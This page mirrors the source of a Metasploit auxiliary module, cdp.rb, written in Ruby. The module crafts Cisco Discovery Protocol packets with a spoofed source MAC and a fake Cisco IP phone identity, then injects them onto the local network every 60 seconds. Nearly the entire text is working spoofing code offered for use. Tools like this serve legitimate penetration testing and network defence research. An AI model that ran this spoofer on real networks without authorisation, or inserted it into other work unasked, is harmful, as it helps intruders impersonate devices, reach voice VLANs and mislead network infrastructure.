CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/spoof/cisco/cdp.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Capture
8
9
def initialize
10
11
super(
12
'Name' => 'Send Cisco Discovery Protocol (CDP) Packets',
13
'Description' => %q{
14
This module sends Cisco Discovery Protocol (CDP) packets. Note that any responses
15
to the CDP packets broadcast from this module will need to be analyzed with an
16
external packet analysis tool, such as tcpdump or Wireshark in order to learn more
17
about the Cisco switch and router environment.
18
},
19
'Author' => 'Fatih Ozavci', # viproy.com/fozavci
20
'License' => MSF_LICENSE,
21
'References' => [
22
[ 'URL', 'https://en.wikipedia.org/wiki/CDP_Spoofing' ]
23
],
24
'Actions' => [
25
['Spoof', { 'Description' => 'Sends CDP packets' }]
26
],
27
'DefaultAction' => 'Spoof'
28
)
29
30
register_options(
31
[
32
OptString.new('SMAC', [false, "MAC Address for MAC Spoofing"]),
33
OptString.new('VTPDOMAIN', [false, "VTP Domain"]),
34
OptString.new('DEVICE_ID', [true, "Device ID (e.g. SIP00070EEA3156)", "SEP00070EEA3156"]),
35
OptString.new('PORT', [true, "The CDP 'sent through interface' value", "Port 1"]),
36
# XXX: this is not currently implemented
37
#OptString.new('CAPABILITIES', [false, "Capabilities of the device (e.g. Router, Host, Switch)", "Router"]),
38
OptString.new('PLATFORM', [true, "Platform of the device", "Cisco IP Phone 7975"]),
39
OptString.new('SOFTWARE', [true, "Software of the device", "SCCP75.9-3-1SR2-1S"]),
40
OptBool.new('FULL_DUPLEX', [true, 'True iff full-duplex, false otherwise', true])
41
])
42
43
deregister_options('FILTER', 'PCAPFILE', 'RHOST', 'SNAPLEN', 'TIMEOUT')
44
end
45
46
def setup
47
check_pcaprub_loaded
48
unless smac
49
fail ArgumentError, "Unable to get SMAC from #{interface} -- Set INTERFACE or SMAC"
50
end
51
open_pcap
52
close_pcap
53
end
54
55
def interface
56
@interface ||= datastore['INTERFACE'] || Pcap.lookupdev
57
end
58
59
def smac
60
@smac ||= datastore['SMAC'] || get_mac(interface)
61
end
62
63
def run
64
begin
65
open_pcap
66
67
@run = true
68
cdp_packet = build_cdp
69
print_status("Sending CDP messages on #{interface}")
70
while @run
71
capture.inject(cdp_packet)
72
Rex.sleep(60)
73
end
74
ensure
75
close_pcap
76
end
77
end
78
79
def build_cdp
80
cdp = ''
81
# CDP version
82
cdp << "\x02"
83
# TTL (180s)
84
cdp << "\xB4"
85
# checksum, empty for now
86
cdp << "\x00\x00"
87
# device ID
88
cdp << tlv(1, datastore['DEVICE_ID'])
89
# port ID
90
cdp << tlv(3, datastore['PORT'])
91
# TODO: implement this correctly
92
# capabilities = datastore['CAPABILITIES'] || "Host"
93
# CAPABILITIES
94
# define CDP_CAP_LEVEL1 0x40
95
# define CDP_CAP_FORWARD_IGMP 0x20
96
# define CDP_CAP_NETWORK_LAYER 0x10
97
# define CDP_CAP_LEVEL2_SWITCH 0x08
98
# define CDP_CAP_LEVEL2_SRB 0x04
99
# define CDP_CAP_LEVEL2_TRBR 0x02
100
# define CDP_CAP_LEVEL3_ROUTER 0x01
101
cdp << tlv(4, "\x00\x00\x00\x41")
102
# software version
103
cdp << tlv(5, datastore['SOFTWARE'])
104
# platform
105
cdp << tlv(6, datastore['PLATFORM'])
106
# VTP management domain
107
cdp << tlv(9, datastore['VTPDOMAIN']) if datastore['VTPDOMAIN']
108
# random 1000-7000 power consumption in mW
109
cdp << tlv(0x10, [1000 + rand(6000)].pack('n'))
110
# duplex
111
cdp << tlv(0x0b, datastore['FULL_DUPLEX'] ? "\x01" : "\x00")
112
# VLAn query. TODO: figure out this field, use tlv, make configurable
113
cdp << "\x00\x0F\x00\b \x02\x00\x01"
114
115
# compute and replace the checksum
116
cdp[2, 2] = [compute_cdp_checksum(cdp)].pack('n')
117
118
# Build and return the final packet, which is 802.3 + LLC + CDP.
119
# 802.3
120
PacketFu::EthHeader.mac2str("01:00:0C:CC:CC:CC") +
121
PacketFu::EthHeader.mac2str(smac) +
122
[cdp.length + 8].pack('n') +
123
# LLC
124
"\xAA\xAA\x03\x00\x00\x0c\x20\x00" +
125
# CDP
126
cdp
127
end
128
129
def tlv(t, v)
130
[ t, v.length + 4 ].pack("nn") + v
131
end
132
133
def compute_cdp_checksum(cdp)
134
num_shorts = cdp.length / 2
135
checksum = 0
136
remaining = cdp.length
137
138
cdp.unpack("S#{num_shorts}").each do |short|
139
checksum += short
140
remaining -= 2
141
end
142
143
checksum += cdp[cdp.length - 1].getbyte(0) << 8 if remaining == 1
144
checksum = (checksum >> 16) + (checksum & 0xffff)
145
checksum = ~((checksum >> 16) + checksum) & 0xffff
146
([checksum].pack("S*")).unpack("n*")[0]
147
end
148
end
149
150